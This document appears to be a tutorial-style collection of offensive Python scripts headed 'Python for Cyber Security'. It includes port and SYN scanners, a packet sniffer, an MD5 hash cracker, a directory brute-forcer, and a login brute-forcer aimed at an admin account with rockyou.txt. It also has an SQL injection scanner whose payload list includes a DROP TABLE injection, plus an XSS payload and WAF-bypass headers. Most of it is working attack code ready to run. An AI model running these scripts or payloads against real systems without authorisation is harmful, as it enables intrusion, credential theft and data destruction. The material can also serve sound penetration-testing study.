Python for Cyber Security

# Target information
target_ip = "192.168.1.1"
target_port = 443
is_alive = True
open_ports = [22, 80, 443]
service_info = {"port": 22, "service": "ssh", "version": "OpenSSH 8.2"}

# String formatting for payloads
sqli_payload = f"' OR 1=1-- -"
xss_payload = f"<script>alert('{target_ip}')</script>"

# Port range scanning
for port in range(1, 1024):
    if is_port_open(target_ip, port):
        print(f"[+] Port {port} is OPEN")
    else:
        pass  # Skip closed ports

# Check response status
for status in [200, 301, 403, 404]:
    if status == 200:
        print(f"[+] {status} - Found accessible page")
    elif status == 403:
        print(f"[!] {status} - Forbidden (WAF?)")

import socket

def check_port(host, port, timeout=1):
    """Check if a port is open on target host."""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        result = sock.connect_ex((host, port))
        sock.close()
        return result == 0
    except socket.error:
        return False

# Usage
if check_port("192.168.1.1", 22):
    print("[+] SSH port is open")

# Read wordlist for brute-force
def load_wordlist(filepath):
    with open(filepath, 'r') as f:
        return [line.strip() for line in f if line.strip()]

# Write scan results to file
def save_results(results, filename):
    with open(filename, 'w') as f:
        for r in results:
            f.write(f"{r['ip']}:{r['port']} - {r['service']}\n")
    print(f"[*] Results saved to {filename}")

# Parse Nmap XML output
import xml.etree.ElementTree as ET

def parse_nmap_xml(xml_file):
    tree = ET.parse(xml_file)
    root = tree.getroot()
    hosts = []
    for host in root.findall('host'):
        addr = host.find('address').get('addr')
        ports = []
        for port in host.findall('.//port'):
            ports.append({
                'port': int(port.get('portid')),
                'state': port.find('state').get('state'),
                'service': port.find('service').get('name')
            })
        hosts.append({'ip': addr, 'ports': ports})
    return hosts

import socket
import requests

def safe_request(url, timeout=5):
    try:
        resp = requests.get(url, timeout=timeout, verify=False)
        return resp
    except requests.exceptions.ConnectionError:
        print("[!] Connection refused")
    except requests.exceptions.Timeout:
        print("[!] Request timed out")
    except requests.exceptions.RequestException as e:
        print(f"[!] Error: {e}")
    return None

# Core security libraries
pip install requests socket scapy paramiko hashlib
pip install beautifulsoup4 selenium
pip install pwntools  # Exploit development framework
pip install impacket  # Network protocol tools
pip install scapy    # Packet manipulation
pip install paramiko  # SSH client

import requests
from urllib.parse import urljoin

# Basic HTTP requests
resp = requests.get("http://target.com/login")
print(resp.status_code, resp.headers, resp.text)

# POST with data
data = {"username": "admin", "password": "password123"}
resp = requests.post("http://target.com/login", data=data)

# Custom headers (bypass WAF, set cookies)
headers = {
    "User-Agent": "Mozilla/5.0",
    "X-Forwarded-For": "127.0.0.1",
    "Authorization": "Bearer eyJhbGci..."
}
resp = requests.get("http://target.com/admin", headers=headers)

# Session handling (cookie persistence)
session = requests.Session()
session.post("http://target.com/login", data=data)
# Session now holds cookies for subsequent requests
admin_page = session.get("http://target.com/dashboard")

# Handle SSL warnings
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
resp = requests.get("https://self-signed.cert", verify=False)

import socket

# Banner grabbing
def grab_banner(host, port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(3)
        sock.connect((host, port))
        sock.send(b"HEAD / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n\r\n")
        banner = sock.recv(1024).decode().strip()
        sock.close()
        return banner
    except:
        return "Unknown"

# Grab banners from common ports
for port in [21, 22, 25, 80, 443]:
    banner = grab_banner("192.168.1.1", port)
    print(f"Port {port}: {banner}")

from scapy.all import *

# SYN scan (stealthy)
def syn_scan(target, port):
    pkt = IP(dst=target)/TCP(dport=port, flags="S")
    resp = sr1(pkt, timeout=1, verbose=0)
    if resp and resp[TCP].flags == 0x12:  # SYN-ACK
        return "OPEN"
    elif resp and resp[TCP].flags == 0x14:  # RST-ACK
        return "CLOSED"
    return "FILTERED"

# ICMP ping sweep
ans, unans = sr(IP(dst="192.168.1.0/24")/ICMP(), timeout=2, verbose=0)
for s, r in ans:
    print(f"[+] {s[IP].dst} is alive")

import hashlib
import hmac
import base64

# Hash passwords for cracking
password = "password123"
md5 = hashlib.md5(password.encode()).hexdigest()
sha1 = hashlib.sha1(password.encode()).hexdigest()
sha256 = hashlib.sha256(password.encode()).hexdigest()

# Crack hashes by comparing
def crack_hash(target_hash, wordlist):
    with open(wordlist, 'r') as f:
        for word in f:
            word = word.strip()
            if hashlib.md5(word.encode()).hexdigest() == target_hash:
                return word
    return None

# HMAC verification (JWT-like)
secret = b"my-secret-key"
message = b"admin:true"
sig = hmac.new(secret, message, hashlib.sha256).hexdigest()
print(f"HMAC: {sig}")

import requests
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse

# SQLi error-based payloads
PAYLOADS = [
    "'",
    "''",
    "' OR '1'='1",
    "' OR '1'='1'-- -",
    "1' ORDER BY 100-- -",
    "' UNION SELECT NULL-- -",
    "1; DROP TABLE users-- -",
]

# SQL error signatures
ERROR_SIGNATURES = [
    "sql syntax",
    "mysql_fetch",
    "ORA-01756",
    "SQLite error",
    "PostgreSQL",
    "quoted string not properly terminated",
    "Microsoft OLE DB",
    "unclosed quotation mark",
]

def check_sqli(url, param, payload):
    """Inject payload and check for SQL errors."""
    parsed = urlparse(url)
    params = parse_qs(parsed.query)
    params[param] = [payload]
    new_query = urlencode(params, doseq=True)
    test_url = urlunparse(parsed._replace(query=new_query))

    try:
        resp = requests.get(test_url, timeout=5)
        body = resp.text.lower()
        for sig in ERROR_SIGNATURES:
            if sig.lower() in body:
                return True, sig
    except requests.RequestException:
        pass
    return False, None

def scan_url(url):
    """Scan a URL for SQL injection vulnerabilities."""
    parsed = urlparse(url)
    params = parse_qs(parsed.query)

    print(f"\n[*] Scanning: {url}")
    print(f"[*] Parameters found: {list(params.keys())}")

    for param in params:
        print(f"\n  [~] Testing parameter: {param}")
        for payload in PAYLOADS:
            vuln, error = check_sqli(url, param, payload)
            if vuln:
                print(f"    [VULN] SQLi detected!")
                print(f"    Payload: {payload}")
                print(f"    Error:   {error}")
                return True
            else:
                print(f"    [SAFE] {payload[:30]}")

    print(f"\n  [OK] No SQLi found for {url}")
    return False

# Usage
if __name__ == "__main__":
    target = "http://example.com/page?id=1"
    scan_url(target)

import requests
import sys
from concurrent.futures import ThreadPoolExecutor

def check_path(base_url, path):
    url = f"{base_url.rstrip('/')}/{path.strip()}"
    try:
        resp = requests.get(url, timeout=5, allow_redirects=False)
        if resp.status_code not in [404, 403]:
            size = len(resp.text)
            print(f"[{resp.status_code}] {url} ({size} bytes)")
            return (url, resp.status_code, size)
    except requests.RequestException:
        pass
    return None

def bruteforce(target, wordlist, threads=20):
    with open(wordlist, 'r') as f:
        paths = [line.strip() for line in f if line.strip()]

    print(f"[*] Target: {target}")
    print(f"[*] Wordlist: {len(paths)} paths")
    print(f"[*] Threads: {threads}\n")

    found = []
    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = [executor.submit(check_path, target, p) for p in paths]
        for f in futures:
            result = f.result()
            if result:
                found.append(result)

    print(f"\n[*] Found {len(found)} paths")
    return found

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost"
    bruteforce(target, "/usr/share/wordlists/dirb/common.txt")

import requests
import sys

def brute_login(url, username, password):
    """Attempt login with given credentials."""
    data = {
        "username": username,
        "password": password,
        "login": "submit"
    }
    try:
        resp = requests.post(url, data=data, timeout=5)
        # Check for successful login indicators
        if "logout" in resp.text.lower() or resp.status_code == 302:
            return True
        if "invalid" not in resp.text.lower() and "error" not in resp.text.lower():
            return True
    except requests.RequestException:
        pass
    return False

def attack(login_url, username, wordlist):
    with open(wordlist, 'r') as f:
        passwords = [line.strip() for line in f]

    print(f"[*] Target: {login_url}")
    print(f"[*] Username: {username}")
    print(f"[*] Passwords: {len(passwords)}")

    for i, pw in enumerate(passwords, 1):
        if brute_login(login_url, username, pw):
            print(f"\n[+] CREDENTIALS FOUND!")
            print(f"[+] Username: {username}")
            print(f"[+] Password: {pw}")
            return True
        if i % 100 == 0:
            print(f"[*] Tested {i}/{len(passwords)}...")

    print("[-] No valid credentials found")
    return False

if __name__ == "__main__":
    attack(
        "http://target.com/login",
        "admin",
        "/usr/share/wordlists/rockyou.txt"
    )

import socket
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed

# Common service banners
SERVICES = {
    21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP",
    53: "DNS", 80: "HTTP", 110: "POP3", 143: "IMAP",
    443: "HTTPS", 993: "IMAPS", 995: "POP3S",
    3306: "MySQL", 3389: "RDP", 5432: "PostgreSQL",
    8080: "HTTP-Alt", 8443: "HTTPS-Alt"
}

def scan_port(host, port, timeout=1):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        result = sock.connect_ex((host, port))
        if result == 0:
            service = SERVICES.get(port, "Unknown")
            try:
                banner = sock.recv(1024).decode().strip()
            except:
                banner = ""
            sock.close()
            return (port, "OPEN", service, banner)
        sock.close()
    except:
        pass
    return (port, "CLOSED", "", "")

def port_scan(host, start=1, end=1024, threads=100):
    print(f"[*] Scanning {host} ports {start}-{end}")
    open_ports = []

    with ThreadPoolExecutor(max_workers=threads) as executor:
        futures = {
            executor.submit(scan_port, host, port): port
            for port in range(start, end + 1)
        }
        for future in as_completed(futures):
            port, state, service, banner = future.result()
            if state == "OPEN":
                open_ports.append((port, service, banner))
                print(f"  [+] Port {port}: {service} - {banner}")

    print(f"\n[*] Found {len(open_ports)} open ports")
    return open_ports

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    port_scan(target)

from scapy.all import sniff, IP, TCP, UDP, DNS, Raw

def process_packet(pkt):
    if pkt.haslayer(IP):
        src = pkt[IP].src
        dst = pkt[IP].dst
        proto = "TCP" if pkt.haslayer(TCP) else "UDP" if pkt.haslayer(UDP) else "Other"

        print(f"[{proto}] {src} -> {dst}")

        if pkt.haslayer(TCP):
            print(f"  Port: {pkt[TCP].sport} -> {pkt[TCP].dport}")

        if pkt.haslayer(DNS) and pkt[DNS].qr == 0:
            print(f"  DNS Query: {pkt[DNS].qd.qname.decode()}")

        if pkt.haslayer(Raw):
            payload = pkt[Raw].load.decode(errors="ignore")
            if len(payload) > 0:
                print(f"  Payload: {payload[:200]}")

# Sniff on interface (requires root)
sniff(iface="eth0", prn=process_packet, count=100)

import socket
import requests
import json
import sys
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor

# Disable SSL warnings
requests.packages.urllib3.disable_warnings()

class VulnScanner:
    def __init__(self, target):
        self.target = target
        self.results = {"target": target, "scan_time": str(datetime.now()), "vulns": []}

    def port_scan(self, port):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            if sock.connect_ex((self.target, port)) == 0:
                return port
            sock.close()
        except:
            pass
        return None

    def check_headers(self, url):
        """Check for missing security headers."""
        try:
            resp = requests.get(url, timeout=5, verify=False)
            headers = resp.headers
            missing = []
            required = [
                "X-Frame-Options", "X-Content-Type-Options",
                "X-XSS-Protection", "Strict-Transport-Security",
                "Content-Security-Policy"
            ]
            for h in required:
                if h not in headers:
                    missing.append(h)
            if missing:
                self.results["vulns"].append({
                    "type": "Missing Security Headers",
                    "severity": "Medium",
                    "details": missing
                })
                print(f"  [!] Missing headers: {', '.join(missing)}")
        except requests.RequestException:
            pass

    def check_directory_listing(self, url):
        """Check for directory listing enabled."""
        dirs = ["/admin", "/backup", "/uploads", "/config", "/.git"]
        for d in dirs:
            try:
                resp = requests.get(url + d, timeout=3, verify=False)
                if "Index of" in resp.text or "Directory listing" in resp.text:
                    self.results["vulns"].append({
                        "type": "Directory Listing",
                        "severity": "High",
                        "path": d
                    })
                    print(f"  [!] Directory listing: {d}")
            except:
                pass

    def check_sensitive_files(self, url):
        """Check for exposed sensitive files."""
        files = [
            "/.env", "/robots.txt", "/sitemap.xml",
            "/wp-config.php.bak", "/.git/HEAD",
            "/server-status", "/phpinfo.php"
        ]
        for f in files:
            try:
                resp = requests.get(url + f, timeout=3, verify=False)
                if resp.status_code == 200:
                    self.results["vulns"].append({
                        "type": "Sensitive File Exposed",
                        "severity": "High",
                        "path": f
                    })
                    print(f"  [!] Sensitive file: {f}")
            except:
                pass

    def scan(self):
        print(f"[*] Starting scan on {self.target}")
        print(f"[*] Time: {self.results['scan_time']}\n")

        # Port scan
        print("[Phase 1] Port Scanning...")
        open_ports = []
        with ThreadPoolExecutor(max_workers=100) as executor:
            futures = {executor.submit(self.port_scan, p): p for p in range(1, 1025)}
            for f in futures:
                result = f.result()
                if result:
                    open_ports.append(result)
                    print(f"  [+] Port {result} OPEN")

        # Web checks
        if 80 in open_ports or 443 in open_ports:
            scheme = "https" if 443 in open_ports else "http"
            base = f"{scheme}://{self.target}"
            print(f"\n[Phase 2] Web Security Checks on {base}...")
            self.check_headers(base)
            self.check_directory_listing(base)
            self.check_sensitive_files(base)

        # Save report
        self.results["open_ports"] = open_ports
        report = f"scan_{self.target}.json"
        with open(report, 'w') as f:
            json.dump(self.results, f, indent=2)

        print(f"\n[*] Scan complete. Found {len(self.results['vulns'])} vulnerabilities.")
        print(f"[*] Report saved to {report}")
        return self.results

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
    scanner = VulnScanner(target)
    scanner.scan()